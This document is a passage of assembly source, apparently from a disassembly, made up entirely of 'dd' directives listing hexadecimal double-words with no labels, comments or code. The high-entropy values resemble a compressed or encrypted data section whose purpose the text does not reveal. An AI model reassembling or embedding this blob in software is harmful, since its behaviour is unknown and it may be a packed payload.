		dd 0BB5300A5h, 20DF6D9Bh, 0C307E232h, 3DC41AF8h, 6240E0FAh
		dd 33ABE3h, 3041D72Bh, 2F2A17ECh, 0B13EF600h, 6FC82C6Bh
		dd 80850E2Dh, 0D9C024E6h, 0B76DEC60h, 4801F101h, 0DA6725BBh
		dd 813AC180h, 0AC1CF8C7h, 0FB1F0D42h, 4B608056h, 7FDE8465h
		dd 8C43492Ah, 317E6D00h, 39C7E4D4h, 85E00DDh, 9A70E091h
		dd 50A0E9Eh, 0F0758D8Fh, 5E90215Eh, 60BE4D8Fh, 0BC48AD7Dh
		dd 9949279h, 4A582F9Fh,	3B042C09h, 924C18Fh, 60D7D13Ah
		dd 4E03F757h, 6D5BF4DBh, 49F2C0E7h, 0DDD800CEh,	7B97CBE0h
		dd 9D004A83h, 2494FBFCh, 0FE72389Fh, 0A6860706h, 4387DC0Ch
		dd 2000D098h, 803BA01Bh, 0EDC8CFh, 2C5F7EDEh, 0F9C9DD17h
		dd 36F8AB01h, 0FBF31DD1h, 0BB4D3080h, 15EB647Ch, 8CE47400h
		dd 7BA4BCD0h, 1FA7D40h,	80E96F11h, 4884BB2Ah, 39042044h
		dd 714EDD3Bh, 8220EB32h, 7F3AE2h, 8E40EDD2h, 51EF847Bh
		dd 278C360h, 0CF7D5Fh, 21B94666h, 0ECBB0A96h, 15DF9C00h
		dd 5F4C1DF6h, 0BB61DE4h, 1AF54099h, 0DF4A5E3Ch,	0E287B9C0h
		dd 0C10AECh, 8E3F6201h,	0AE3EE3BEh, 3A14EA03h, 0D03613A0h
		dd 169B38h, 0FCDF2DA4h,	0C5B5F6Ch, 702F7900h, 71E8B1EFh
		dd 20BD6002h, 40B2C915h, 4C12AC00h, 50377F28h, 0D4F300FAh
		dd 7155A6B0h, 2D608BB3h, 5783CD50h, 2C4A0078h, 1CDF2BA7h
		dd 62758986h, 4E0A341h,	27DD00A8h, 0C8D99037h, 0D8744771h
		dd 2034F430h, 73F3E2FEh, 0A040356h, 9FB33768h, 8096243Bh
		dd 3F7F9DC0h, 0E9B23EEh, 9CE9EA07h, 5B5EB480h, 0D800C16Bh
		dd 359F1163h, 0C0719Bh,	90CE684h, 6BD8837h, 3A7E39h, 0B3799150h
		dd 90E7A53Ch, 1964006Dh, 85E9225Ch, 7CC15A48h, 479E3EAh
		dd 0EC34DCh, 87314299h,	5E07591Ah, 0B173DF1Eh, 0F5CE900h
		dd 0E5D86Ch, 0CA096E9Eh, 7F44C3DDh, 2E4FD600h, 38EDAF56h
		dd 0C6966097h, 0A748D9Eh, 788F0B0Eh, 38A1CCEBh,	0FEC100E1h
		dd 5E2E3C6Ah, 4C1DA872h, 590CD64Dh, 332080h, 25274B06h
		dd 8D0EB7BBh, 31401D16h, 0FF86FD07h, 32E4DA40h,	3D9C0105h
		dd 4A9EA0FEh, 0C19980E2h, 50DBC05Bh, 0C4B0C66Ah, 1A60087Ch
		dd 0B7CEA121h, 4B756Bh,	9D4F9FEFh, 0F22886D3h, 7B1D6C00h
		dd 66CC9A99h, 881C14A2h, 0ED002CDAh, 96EB75C3h,	6084F427h
		dd 0A77D9BCh, 690042C2h, 41646BBFh, 9447AFh, 0ADA0EA53h
		dd 0C38E2BE4h, 0C6A11106h, 638E17Bh, 0EF9269FFh, 0E900111Fh
		dd 0D0861FAh, 1D8E1A22h, 3B1E4196h, 6EA24D00h, 8261A4F0h
		dd 79EA510Fh, 0A0EB00F9h, 0AED959h, 0FEE93EC9h,	0DE58F8F2h
		dd 8D0047F6h, 0DD38461h, 3E3D21h, 0BA510B2Dh, 6C2A539Ch
		dd 0B007E100h, 0A7E3AF0Eh, 0B1E23F13h, 47369682h, 0C8827831h
		dd 0C1407B4Ch
		dd 0E90E42DCh, 9B0C978Dh, 9BC00891h, 0C3471866h, 0FA0C627Fh
		dd 1072191Ch, 63DB1Bh, 7E7660E7h, 26F4C104h, 6A1EE300h
		dd 61901C44h, 121D28ACh, 0D95006ECh, 8876A6DAh,	0EC96DD80h
		dd 0FA050101h, 318D7FD7h, 6045FDF0h, 0A9552053h, 79001215h
		dd 0B6C92554h, 0F309F0h, 1A96246Fh, 14D035ADh, 0EE88ECF1h
		dd 0C4D7690Eh, 5FBA00D2h, 1A79D41h, 6A4D12F4h, 26A8A10Bh
		dd 0B6F1042Ch, 5480F901h, 0C0E7D362h, 8314A808h, 0D90FB293h
		dd 0A076EDCBh, 6951E75h, 0FA970051h, 1D8B710Bh,	203E2F0h
		dd 0F486062h, 636EE008h, 7FFD7F65h, 0E3140093h,	62C8FB34h
		dd 0A1EE3C91h, 6018BB7Ch, 5620E5A5h, 282C03CBh,	1C2BAFEh
		dd 55BE781Dh, 807D81DEh, 5B2D370Ah, 0C2A0E62h, 1A18A76Dh
		dd 8003BA1h, 660D6A79h,	846EEFh, 5F39DA96h, 8588DE90h
		dd 0CC2DA700h, 9E04EA5Eh, 8315055Ch, 0C07881F2h, 0EBE92B68h
		dd 36C49B03h, 88F0F3BFh, 8A35E1h, 85DE650h, 0E2C9DB14h
		dd 1E82401h, 0A2054178h, 7383B880h, 9710D69Dh, 8F80113Dh
		dd 0EC815018h, 3E6915h,	1BE1D498h, 3621DEB4h, 0A703BFECh
		dd 81D10105h, 9329001Fh, 492C2BDh, 3302A848h, 51A516E9h
		dd 6F2FE019h, 0AADF0141h, 5D421AE7h, 7391E014h,	0E5024A00h
		dd 0CF208375h, 0B1700007h, 28CA8FB3h, 4805DA2Bh, 0D518D8F9h
		dd 674E4180h, 4F8B3A92h, 0DB972600h, 1AD3B448h,	0C273CA07h
		dd 2E80813Bh, 1EF7783h,	0E92D4ED4h, 8050C9D1h, 0CDA8DA88h
		dd 0E2DE1337h, 7C66FE77h, 18AE1831h, 0D746209Eh, 62F65F26h
		dd 6F93003Fh, 0DCB08FAFh, 3C91C037h, 53BC30F0h,	6C7FCEE4h
		dd 0AEC21B03h, 88A84982h, 30227847h, 33306F74h,	89302961h
		dd 6B318052h, 0CF6C022Eh, 3FDEE92Ah, 5FB44CA0h,	5610E459h
		dd 319EAE3Ah, 840F8949h, 54A95138h, 3E80F2C0h, 0B598A9B7h
		dd 1808DE18h, 0C43CE88Bh, 0C6C240E3h, 6E121Ah, 7245AC7Eh
		dd 57FC2040h, 48337118h, 37D390h, 70B465F5h, 4392107Eh
		dd 33553E00h, 4EFEBE26h, 250B1936h, 2070D986h, 97056E61h
		dd 3D8EB022h, 6A8A8C0h,	85B40057h, 0B9F5E3A6h, 0BC70E47Dh
		dd 0D24A6800h, 453DCC3Eh, 0D70C0182h, 62071EDAh, 761BC8D1h
		dd 0B400D4FEh, 0CA1972C5h, 9CF950h, 0BD84957Fh,	537667CEh
		dd 12487A3Ah, 6C001FF0h, 661E106Ch, 39B8FC12h, 0A28343A0h
		dd 0EF7F29EAh, 85DCCCA8h, 26824900h, 801B12F2h,	83511BAFh
		dd 24B8F9C7h, 0FF0FBDC2h, 0A387E425h, 0B03C5904h, 1811EC98h
		dd 0F62D0F3Dh, 6300BE4Ch, 0CDB445B7h, 7A91EE0Bh, 5CCE0042h
		dd 0A478193Bh, 56004EB3h, 0FEA83783h, 17FF1540h, 0C0B8B9h
		dd 0C5902BFBh, 2F035250h, 8FC1D584h, 0DA8929DBh, 3FFC2004h
		dd 0C572DB7h, 308D08B6h, 0C400E812h, 70017882h,	0C9810094h
		dd 95510E5h, 7650907Ah,	8862D0Ch, 6F7126EBh, 41E60108h
		dd 9004D5E3h, 0F6C57931h, 0DD240880h, 85D42F62h, 244AF518h
		dd 0E98F48D3h, 3D63A8A1h, 2110AAA1h, 1E6B65C5h,	2124EA0Ch
		dd 99159FFAh, 6CBF2A0Ch, 740CFD54h, 61116786h, 2C7360DDh
		dd 921E48CFh, 78419F6Ch, 1C90BEEh, 0A47BA850h, 0F6760035h
		dd 0C3B4C55Fh, 849A97BBh, 307FD300h, 82DB9140h,	0E74B18B9h
		dd 0ACFE396Fh, 141424F8h, 1DC8C09Dh, 0A000A6F9h, 8F651A94h
		dd 52BB0981h, 3E80B230h, 0A338373h, 1DD09500h, 42CA8427h
		dd 99E9836h, 97FB92BAh,	6478D400h, 6C00C795h, 0A0E560C3h
		dd 5EFB115h, 8C1D800Dh,	0B47F80D7h, 500090F9h, 8A4F9683h
		dd 0BFDC2Fh, 0F9ACFF8h,	0ACECAB92h, 96BC4B0Fh, 88C26034h
		dd 0F72206h, 61563841h,	0DF9B71Ch, 6826A000h, 4B295076h
		dd 0BE2C1DE1h, 629702B9h, 1C91C0A3h, 9B001A58h,	12751E3Ah
		dd 8C385F58h, 7C43F09h,	2FFFF80Fh, 15315C90h, 0B3B60318h
		dd 0F0CF0481h, 0F4B5C02Eh, 0FC7FF100h, 30B16322h, 0FD485B4Ah
		dd 14A008E4h, 0BA3E7DE9h, 1F25204Dh, 811AE0ACh,	0DCA4FBB9h
		dd 5080E779h, 9D52D128h, 0E00F005Ch, 2FB391A1h,	393301A0h
		dd 0A8947AF9h, 0FE4ED888h, 0B1C14100h, 0C7DCB87Dh, 685000D5h
		dd 0E2D0EEB6h, 57F9FC25h, 9B35C0BCh, 2A01E7DDh,	0BBD51A20h
		dd 4885BDFEh, 41C6D8h, 420E8114h, 0F340553Ch, 0C37F3096h
		dd 0A92111B0h, 6DB04187h, 74010A71h, 2ABDCE9h, 581E004h
		dd 9C259000h, 0B8A07B85h, 546C001Ch, 4062CDE9h,	0B40074F2h
		dd 0C7052C78h, 0E5CF7D1h, 91202D0Bh, 44C6B0C0h,	0BA266894h
		dd 3D007505h, 42B50A08h, 78B70CA7h, 2C08A1F7h, 0DBD8F000h
		dd 53DD3BA6h, 0B631C018h, 0BADC0886h, 0DEF26E00h, 9A6A9429h
		dd 40E4072Ch, 178A3DEBh, 0F56241CFh, 0E4F6F1B4h, 610012ECh
		dd 95F1E1EFh, 6C3250Fh,	3E9816E4h, 93EB159h, 993200AEh
		dd 0D0C63A42h, 98DE06C2h, 0D06CF361h, 0A9B72B03h, 0E5EBBF5h
		dd 10E99791h, 76957880h, 0ED0C79DDh, 30477145h,	634600BCh
		dd 0C825695Ah, 9D00B3C1h, 0C42149E4h, 1DA9203Dh, 0C316BCDAh
		dd 50118648h, 0C791ADF8h, 94416E31h, 30807E52h,	7420774Eh
		dd 11013D39h, 0BCA1D883h, 0D0D35E9Eh, 33EEFAFh,	55E5F554h
		dd 70A85869h, 0A4008F06h, 0FB25E64h, 0F9F4F4Ch,	0BEC0F126h
		dd 7E4AFCE5h, 769F0744h, 24A00443h, 0E9228Ch, 0A3AD62C1h
		dd 0A78A68F8h, 3F371D00h, 7A5BCADBh, 0FBC40011h, 630B67FDh
		dd 7E1ECD51h, 96C95EB1h, 0CEF18064h, 0F14A1Ah, 0F3117785h
		dd 742A3C2Dh, 0B468F600h, 60E6DBFEh, 60DA7F57h,	0E53C3077h
		dd 90DE40EFh, 0DA35D40h, 8E9865h, 0A1DA9D68h, 94107A28h
		dd 9C0384A5h, 9AE1AB9Bh, 0B7A0A036h, 6F99FFh, 77845E04h
		dd 585C47DCh, 7442CC1Eh, 0A1D13F00h, 0DA93F8h, 0E256F5ACh
		dd 47E0359Ah, 39802160h, 0DB20F1h, 0D57C94A3h, 7B40ABCBh
		dd 5B038007h, 0D0FA15F5h, 61C86840h, 0C936070Eh, 112D41F8h
		dd 0C0B03D85h, 8939CAD7h, 311FF456h, 0A21E72B5h, 3517AD00h
		dd 176A1ABh, 44E5CB81h,	0D986D2B0h, 0DCC533Ch, 9A8B808Dh
		dd 637B553Bh, 5B800B00h, 5FD32D32h, 73583E19h, 4D2A1800h
		dd 0C89896C3h, 48BF5609h, 0C00C1572h, 351461C9h, 0F1AD8C2h
		dd 10444ABh, 0F4291580h, 0DC58164Ch, 0D952A346h, 1C3ACFCh
		dd 0CB207CC2h, 0CDE25E56h, 97F4524Dh, 9662560h,	0D2120114h
		dd 0B47CB080h, 405648D4h, 3CA0ECECh, 1B0230DFh,	0A58AA71h
		dd 30C4B2D3h, 9414F90h,	6C758AC0h, 86399807h, 0D42210D8h
		dd 0A5994016h, 3C73E720h, 3A198B5Eh, 0E0612111h, 20A18DEFh
		dd 32108809h, 0EEA00612h, 0C00787Eh, 0BFC4CD30h, 1C5FDBCBh
		dd 0D2740763h, 5740021Ch, 0F3204D79h, 1DAECAA8h, 7B1FBDFh
		dd 0A00D9EB7h, 0AC90D901h, 0CD1A0200h, 0D44EC0A7h, 39FBF693h
		dd 0EB80B5D7h, 1F75A1E4h, 480EAE7Bh, 624AC1ACh,	60F6819Eh
		dd 0E8D6A8h, 0A9FB8A70h, 0A7E67E91h, 8308AC00h,	0B55C4AFh
		dd 0C1450384h, 0ADF127DEh, 20C696A9h, 202CE3D9h, 0B406177Dh
		dd 1C48D043h, 0C20E0BAEh, 48B730CFh, 23ABA1C0h,	0CE3F5207h
		dd 4081FA86h, 0AEEC0E19h, 8026375h, 7EE88248h, 0B07C735Eh
		dd 0AB0439D0h, 0F4B21400h, 0A336B072h, 0A7B87A02h, 80BC7FF2h
		dd 83224584h, 137D001Fh, 6035A9B0h, 766241E7h, 22957329h
		dd 0FC24CFB6h, 11462321h, 0A511BDF7h, 0A4C81162h, 0B9D5B217h
		dd 4D236B00h, 44A900ACh, 8ACF4E86h, 2A03937Eh, 1675010h
		dd 7370E08Ch, 38CA0061h
		dd 0CC783220h, 0DD000AFBh, 3F90D507h, 36E150h, 7FE63BB7h
		dd 9FAFDA3Dh, 5D6BED00h, 0BD5C8A9h, 3BFC05EEh, 0C06A5C54h
		dd 3336211Ch, 3B9C0F48h, 975781FFh, 0D2FE095Ah,	0C99ACCh
		dd 187250E5h, 8C767EB2h, 46EBC400h, 0C5BE98C1h,	945E236h
		dd 0AA89D20h, 8F4780DFh, 3A063AC2h, 9C859F76h, 943EA7h
		dd 25D91EBCh, 57008D70h, 0D6EC37A3h, 3392D71h, 79D05246h
		dd 7A8730Fh, 7000C3BBh,	36556033h, 16051310h, 0A472Ch
		dd 97877506h, 9F015B7Eh, 0C54EBD7Ah, 0AAEC44EBh, 1CEF2776h
		dd 9E001D54h, 6A7F9929h, 48A101B7h, 9D281F26h, 150420CAh
		dd 0ACE03Ch, 0F4B82459h, 1BE5E7h, 758DC9CCh, 68D840D3h
		dd 7E8F7300h, 326A365Dh, 0F430F5B0h, 0F9F7C63h,	2F70E302h
		dd 905A8D86h, 6B8B6800h, 455C7392h, 12CC0FABh, 9800F17Ch
		dd 8390FC8Fh, 500AF63Dh, 0C0003D88h, 19F942ECh,	0F97BCh
		dd 8CE6C72Eh, 9CDBAE6Fh, 9BD74700h, 0A83DD410h,	95B5034Dh
		dd 71C54B62h, 11A17000h, 999DD986h, 0E2A50053h,	0FE15332Bh
		dd 0A202BE10h, 7F7076BCh, 0B24D61ABh, 0A84007FCh, 7923FF80h
		dd 0F2443B9Ah, 0E7646D00h, 6CB5A518h, 310B9100h, 0ABEE9D21h
		dd 0E8BE12D5h, 0EB080168h, 70990C92h, 0E6002CB4h, 3B34749Fh
		dd 9A3770h, 9D4E6944h, 0A6662B21h, 0C8961E00h, 5D6F7DC9h
		dd 6AE0046h, 33F0564Bh,	0DC04842Fh, 0B94FED3Fh,	0A7946480h
		dd 0BB881CC4h, 0FB780029h, 0FC2C55Eh, 5BF17900h, 9B44EDCh
		dd 36A00070h, 24AF6AD8h, 4C005640h, 0BDB2FC98h,	1D421518h
		dd 8B1F5Eh, 21ED2CB0h, 0D0081F1h, 1B5D879Ah, 8F82F7h, 6246A9EEh
		dd 2E2A9207h, 63D73Fh, 2998E58Eh, 753AC196h, 0E1560067h
		dd 7D4614B5h, 68EC6294h, 80F4213Fh, 8785C293h, 0F086F6ECh
		dd 10CA0099h, 217E76B4h, 950028C1h, 0F75814FEh,	7DB33Bh
		dd 30026B67h, 0DBEE445Dh, 0B4E73500h, 461821Fh,	1E8D1C01h
		dd 190DC047h, 0C394F45Fh, 0A6806D00h, 0F967C49Eh, 60680095h
		dd 9B403AD3h, 0FA00792Dh, 0ED2366A0h, 73398Ch, 0AA4F50CCh
		dd 0CD983AC4h, 0BC1B8E1Dh, 0B49DC140h, 0B5E60Ch, 6850BDAh
		dd 133E8D75h, 3C830458h, 51900052h, 62CED807h, 841003E1h
		dd 0C88B1D32h, 0D88314C2h, 809AC36Bh, 44255F60h, 0E203F400h
		dd 0B670FFDEh, 6C760082h, 0CFB4D3B7h, 41000E46h, 0C232C171h
		dd 78ABD1Bh, 35843FEBh,	6A52317Dh, 2063DC31h, 5A21900h
		dd 37EC9FC2h, 72B917A5h, 4DB800E8h, 42741A2Fh, 0FA76367Dh
		dd 0FEAD5Ch, 8A6EFCF5h,	7EDF1Bh, 0C6C46CA9h, 0ED7F232Bh
		dd 0A39A0C00h, 2E670D84h, 809DA03Fh, 0C64A0055h, 89CFE4FBh
		dd 49029BF9h, 0F88832BBh, 0A3A7E013h, 0E83F0ED2h, 0A5E12FDFh
		dd 0C09EE2F3h, 5300A190h, 2E199F8Bh, 0CC3381h, 57F9E6ABh
		dd 994B5AADh, 63E19100h, 48477335h, 0F3F78D6h, 2E5A9DBh
		dd 4BCB6FEEh, 1023A882h, 0F01EECE1h, 5F38AF3Ch,	0B2C082F5h
		dd 80714263h, 0DA45BD8Ch, 7B340054h, 0F0B5E2D5h, 0BA00B999h
		dd 5A35B24Eh, 75192E8h,	0F7DA6795h, 16E6708Bh, 0AB00B57Fh
		dd 6F3E4E65h, 135EA9B7h, 0B04352h, 5F913915h, 3D004C8Bh
		dd 48B9269Dh, 89824Bh, 0A0E45601h, 337375F0h, 36C88500h
		dd 8353A6AAh, 4A8124BAh, 0E4003B36h, 0C1F83342h, 2700182Eh
		dd 0DFF42D08h, 4DDE32h,	7CF1545Ah, 0C140B6A7h, 8800EBECh
		dd 0C85B6086h, 0A82ED1h, 0B52A3DA5h, 0B8EC8FF5h, 69E05A00h
		dd 19B39E6Fh, 0B983831h, 0B5E79600h, 9F7DD70Eh,	4825A500h
		dd 71930AF3h, 17830743h, 0B38C88EEh, 0F1B03EABh, 4B00E46Eh
		dd 5FFCBB63h, 7B4CB99Ah, 87D300B5h, 0E0999C1h, 3F07C030h
		dd 32792B6h, 7880FEC4h,	74C58Ah, 0D0A7CAF3h, 61E34048h
		dd 691CB007h, 51F0E21Eh, 0EFBD03h, 2F3F7A18h, 398111DFh
		dd 0FD062C04h, 0A0C3ADC4h, 7A609724h, 0E6DEEF3Bh, 5CAC00A6h
		dd 61534323h, 8F05A0EBh, 890E276Dh, 16B9F507h, 4964A360h
		dd 1707D8Dh, 0FF2F8234h, 0C01510ADh, 712663E2h,	0CC3EAC6Bh
		dd 9FEF0EAAh, 43A040AAh, 0C7947Eh, 98348FFh, 4F87048Ah
		dd 900BA900h, 5713BAC8h, 72CC032Ah, 375F2332h, 848A8190h
		dd 8CFD9200h, 101EADD1h, 0D8FF5C8Dh, 740B1F02h,	406693DDh
		dd 9B8820h, 5CB5E884h, 45116C01h, 0A004F10Eh, 56F607Ah
		dd 922A4h, 8458827Dh, 29406D48h, 6904A1EAh, 0DDA27362h
		dd 9C263FC0h, 505A0074h, 0DFFE5615h, 39E436CAh,	0B2CCD4F3h
		dd 0B1809E00h, 0BBA44DDCh, 5D4704C4h, 0C0DAEE7Fh, 0E4908E12h
		dd 0A8159CA0h, 0A0212660h, 699923Bh, 37E6716Dh,	4A0168E1h
		dd 0C2A634B5h, 9647FAECh, 3E50DFF0h, 51020507h,	809BE65Dh
		dd 9C25427Bh, 0D2486E76h, 0BDE500C5h, 360E4DE2h, 8D10C047h
		dd 11E420FDh, 80497930h, 0F4BAB64h, 899DEB50h, 0E9E06740h
		dd 6B17DF92h, 7000C4FCh, 7A40BFAh, 30DB7474h, 65708DADh
		dd 8090D5D4h, 0E5D1CF13h, 0D126E00h, 81E101h, 0E206690Eh
		dd 0FE93261Bh, 0EB556C00h, 8A2A170Ch, 3E4C0033h, 869FB037h
		dd 0B500F8A9h, 0E82E4EBBh, 7081474Bh, 0F356020Fh, 0D25AA68Ch
		dd 5E9536C0h, 90FDCF4h,	0A005165Ch, 0F9464ABAh,	0CC2B00DFh
		dd 7E07B04Eh, 76700B77h, 0B2B88F00h, 0E67D0462h, 0FA2800AEh
		dd 94B00229h, 0DD078ACAh, 532B85F9h, 356619C0h,	0C2411DC0h
		dd 93B343D0h, 0FEC092CAh, 0F10B8495h, 80EAD60Bh, 45D53F2Bh
		dd 0E24B00CFh, 1E1F6CE0h, 0D2002F85h, 0C4D3438Fh, 684A66h
		dd 45770758h, 99354D09h, 56E63130h, 3D82DCEAh, 128043B3h
		dd 0C08D6166h, 5B002276h, 3A32F11Bh, 2DACF4h, 949F1190h
		dd 0F95D1E77h, 28268F1Ch, 4B3E3Dh, 0F5C3E57Ah, 22839Ah
		dd 89F1CF51h, 961CA031h, 2C339B1Fh, 52F81D03h, 0EFFEEB26h
		dd 0CCBD3840h, 0DB0B38E9h, 0E7CE8287h, 0DC00FEF0h, 0B90DF4A2h
		dd 0B1847A00h, 1CACDB7Bh, 2E1A0329h, 8D4815Ch, 95B8D0B7h
		dd 0CBB0CF82h, 108F2600h, 51BD524Dh, 4A11002Ch,	0DC323D74h
		dd 564C6948h, 8EF60332h, 0F8A52603h, 7F9A492h, 2F8396F7h
		dd 0FA1D9127h, 3B4FFC8Eh, 85423700h, 52C155C7h,	0DA443EE1h
		dd 0D8E7E380h, 5E9375DFh, 8F031200h, 734553D3h,	76B800A5h
		dd 22910E83h, 8D0BF3B5h, 0DCB1D1ADh, 8AED00D1h,	4AF03996h
		dd 1A71458h, 74378CDBh,	0C421978Bh, 0D2C4D6C1h,	0BE901801h
		dd 3D3860E8h, 0E1D7D39h, 0A071C5C4h, 0CA3AE753h, 0C2430061h
		dd 0C381EC18h, 0F60F851Ch, 6325FAFCh, 0F8FBA7BAh, 7C6D6B6h
		dd 6B5C247Ch, 0D905B053h, 0B20239ADh, 0E17F5BC9h, 4944C0CEh
		dd 0ACBC074Dh, 0A92CD8Dh, 7A9C8080h, 342F408Bh,	1B215260h
		dd 7C5A04Fh, 10D36821h,	4C3CB0C7h, 9C007AF6h, 0E8B089EEh
		dd 4920C972h, 0C4001049h, 0EB349E1Eh, 451E1751h, 7C804144h
		dd 3296CB98h, 219A008Ah, 0E7D3C0F4h, 5900DE0Ch,	43EB3C4Bh
		dd 1FBAF85Ch, 40644C40h, 1050088Eh, 9002C74h, 7EDE51Ch
		dd 361249Eh, 7C88AA06h,	0BE0871Ah, 0CA0754D3h, 0CC26B1A1h
		dd 8DE9602Fh, 981DBFh, 0ABDF9C7h, 0E71CB81Eh, 0FFB16800h
		dd 0D0932292h, 2D3800A6h, 9E2EC5CEh, 0C00B98A3h, 0F8375CDh
		dd 471204D3h, 0B6AE08C0h, 71701D74h, 0AF4642B8h, 0E8807FC5h
		dd 36FE1C06h, 0BE7EE772h, 0AC05C00h, 0CB5AB48Dh, 56C60065h
		dd 0D7E69E37h, 3400B3E0h, 22FB73CFh, 9974ACh, 1EF0B884h
		dd 307AAD2h
		dd 77ADBE00h, 1968EEBDh, 245900AEh, 0C2691641h,	0F5000E7Dh
		dd 6CBFD996h, 753E863h,	981E56D0h, 0C0478485h, 0F236AA30h
		dd 4A931200h, 0A182775Ch, 0E83206C1h, 0D0836021h, 0B75B4600h
		dd 1771B444h, 5C350061h, 4C23E475h, 270068DCh, 8D8AE16Ah
		dd 72A4D0Ch, 0CD1609AFh, 14E5A08Bh, 59762586h, 1504E03h
		dd 0F8EF408Ch, 0CF8B1h,	476F9D2Fh, 8AE7D4FDh, 0F1072400h
		dd 30A6AB5Fh, 1FA03F74h, 0F4859F00h, 9773299Eh,	0E995A500h
		dd 6AD9CDEBh, 0E4420123h, 7E035340h, 143DC81Bh,	809FDA3Dh
		dd 0F905FCF7h, 0B0417CB0h, 85540004h, 0BA615982h, 2DF6DA5Ah
		dd 6034346Fh, 0E28B1607h, 0D1C71EB9h, 0B0EDC029h, 1493B671h
		dd 0B78A2100h, 0BF744F3h, 64F90BE5h, 0F400432Bh, 0FA2417AAh
		dd 0F7CEB0Eh, 0F45C478Dh, 6BA5CDC0h, 9B8300F5h,	0C965EC07h
		dd 0C1CC5D7h, 1EFFB33Dh, 0A000DD43h, 83322DF8h,	0E4A50C7Bh
		dd 0CF391CFBh, 59005A7Ch, 0B4A401DDh, 33EA645h,	0B9CAC7Fh
		dd 10F6D25Bh, 708C3F00h, 6D19FCBh, 3EBF2A7h, 45347BC0h
		dd 0D7B8A33Ch, 94177241h, 57007C9Eh, 651F42E5h,	0FDE039h
		dd 4B8E4C06h, 0AC321B3h, 0EEB6CF00h, 73ED4A59h,	51450EFEh
		dd 5A833FFBh, 89E010D7h, 1090A1B4h, 90C91900h, 93354BF1h
		dd 551F3F44h, 7FFA7B09h, 5013F100h, 8F7DE521h, 52E00E00h
		dd 0D641E2D4h, 0DC623020h, 0B6E9E828h, 0DD1C5EE8h, 7E40BF58h
		dd 0DA3580D1h, 0E40500D4h, 365B7881h, 40C318FBh, 0E993C9FEh
		dd 0F8F02D68h, 98B100F3h, 3D7689FCh, 3A00713Ch,	86B9FDB8h
		dd 280CC9EDh, 0B84B7Fh,	13836F38h, 93599E30h, 18907333h
		dd 8ED7B8E5h, 0D5DA0EAAh, 71275C7Ch, 4002F133h,	4DEBFB42h
		dd 1421E0EFh, 2D047069h, 3D493B92h, 328B91C0h, 0C40700E7h
		dd 0C3A2B61Dh, 0F45C8E1Eh, 5B4C0003h, 6E6370DEh, 0E58C0136h
		dd 0A8C47211h, 9D0E34Ah, 3400019Ah, 0E2439179h,	7168AA87h
		dd 0ED550054h, 372B8329h, 7C03F818h, 0D228C595h, 2450B025h
		dd 3215031Ah, 0A59EBA74h, 0E322F787h, 29F19836h, 40EDC9E0h
		dd 734395BFh, 653E0900h, 3A4BF97Eh, 5D8C0005h, 0CBF6F2D7h
		dd 3407FB28h, 0B6D222F3h, 545AA750h, 0C6951FF9h, 2FA8F8F0h
		dd 7C9D76B1h, 2C9048ACh, 5D9A7802h, 1C431C6Bh, 0BD75C688h
		dd 442641FEh, 7A3E73E7h, 81590200h, 2691F713h, 0E2C2018Eh
		dd 3C87D656h, 0AAAEC4CDh, 8F497300h, 0E3AB4597h, 555A1399h
		dd 0E58903B0h, 73CA06D2h, 0C74AF861h, 634F95D9h, 8D500A8h
		dd 33519ECAh, 3C3A00B8h, 0EABA9BE5h, 0F500DBB4h, 9AEC46D0h
		dd 27FFB1Fh, 768A4E2h, 4541E878h, 11E430D2h, 2CA18803h
		dd 0B04F29F2h, 5991D5Dh, 904EBF76h, 9DA38001h, 0EC3E05EFh
		dd 24559412h, 0D4661FB4h, 22E565C0h, 0AD03B8h, 0C911FDBCh
		dd 2AFAF037h, 9E000B7Fh, 0CC1B74DFh, 340C39h, 38EA5FD0h
		dd 0C768719Bh, 911E9700h, 96F3EC29h, 14941ECDh,	400F93A1h
		dd 581C6AC4h, 1A76B6C5h, 0B47D6279h, 22A38700h,	1BDA5FFDh
		dd 1219007Ch, 161E33A7h, 0E001D28h, 0BA897FC6h,	1DA2D36Ch
		dd 42B16163h, 8CA5ADEFh, 20802CC1h, 70011816h, 836743E1h
		dd 2C3014F8h, 775600D2h, 9AF4896Ch, 6B002C4Bh, 0EF2BD90h
		dd 7970A771h, 9CEC0152h, 8E765C6Eh, 0C2B3C898h,	19DABD01h
		dd 0D9CFF469h, 9A75BC8h, 1F997FADh, 0C0BE1404h,	32F65D84h
		dd 1A04B903h, 0A4F2A464h, 4A8C60C0h, 0B0401DCFh, 0D450BC83h
		dd 0C29B02A9h, 0B91CBD0Fh, 0A66DB840h, 8E8E683Ch, 0E4BBA30h
		dd 74346044h, 19C4956h,	83B6133Bh, 0E8C7C262h, 900052A5h
		dd 5C0141DBh, 167B57ECh, 0F2D5C5h, 0DC55E222h, 6A000E70h
		dd 116D53C7h, 7FE74BA2h, 13CA70E3h, 342B25Eh, 5272F901h
		dd 87C91FA8h, 17189202h, 0E0D167A0h, 1EC353ADh,	80F33811h
		dd 322C571Bh, 4A16E114h, 4E1397FFh, 16DEB000h, 7D194Eh
		dd 0C6B9C01h, 0BE1092A1h, 0DFA3CF00h, 0A243A409h, 529800C8h
		dd 260FA7ADh, 1100B7D0h, 858C0CE2h, 71E5F55h, 6284D70h
		dd 1B6440E5h, 900016Dh,	658478E6h, 635D8Eh, 0B5226A8Bh
		dd 0EBD253D4h, 0B3B0CE00h, 5A1ABFEh, 87180F56h,	97C065F2h
		dd 459B123Fh, 0FB479A03h, 0F81EA568h, 3199837h,	46AE5183h
		dd 41A82C2Fh, 380094FBh, 0B1B6C66Dh, 0E8E7CDBEh, 0B5DE00AEh
		dd 998EA653h, 7D001C8Ah, 7E05B732h, 3E95ACh, 9835BDD9h
		dd 290B569Bh, 0DE753600h, 0A64BEBD6h, 795E7DB9h, 0D9C006Dh
		dd 0DA501E2Eh, 1200748Fh, 7094AF56h, 3BC96EA1h,	0F29CFDA6h
		dd 4A3E8FA9h, 476DE560h, 0D6005251h, 0DE723A1Dh, 0ECE6A0Bh
		dd 0A296D975h, 58F49BC0h, 300FE38Eh, 0B48D3F5Eh, 622F00C8h
		dd 69C59376h, 0DCA90410h, 0C0EC9D42h, 7F20F8AEh, 7B1163Eh
		dd 3E3DB537h, 7C0B8920h, 78FF0049h, 0B85C10C5h,	7E035FE6h
		dd 890F4E3Ch, 0A89BA099h, 6A1607A9h, 0D63587AFh, 940E70D4h
		dd 98B624D0h, 15CBB80h,	2D45884Dh, 0E9BD03B5h, 0A0F3F3D8h
		dd 5851FDE0h, 34FA920Fh, 60142F0Bh, 0CA0604AEh,	0F96D00F0h
		dd 0AB03B699h, 0AF0083F3h, 2573A697h, 77621556h, 955930D7h
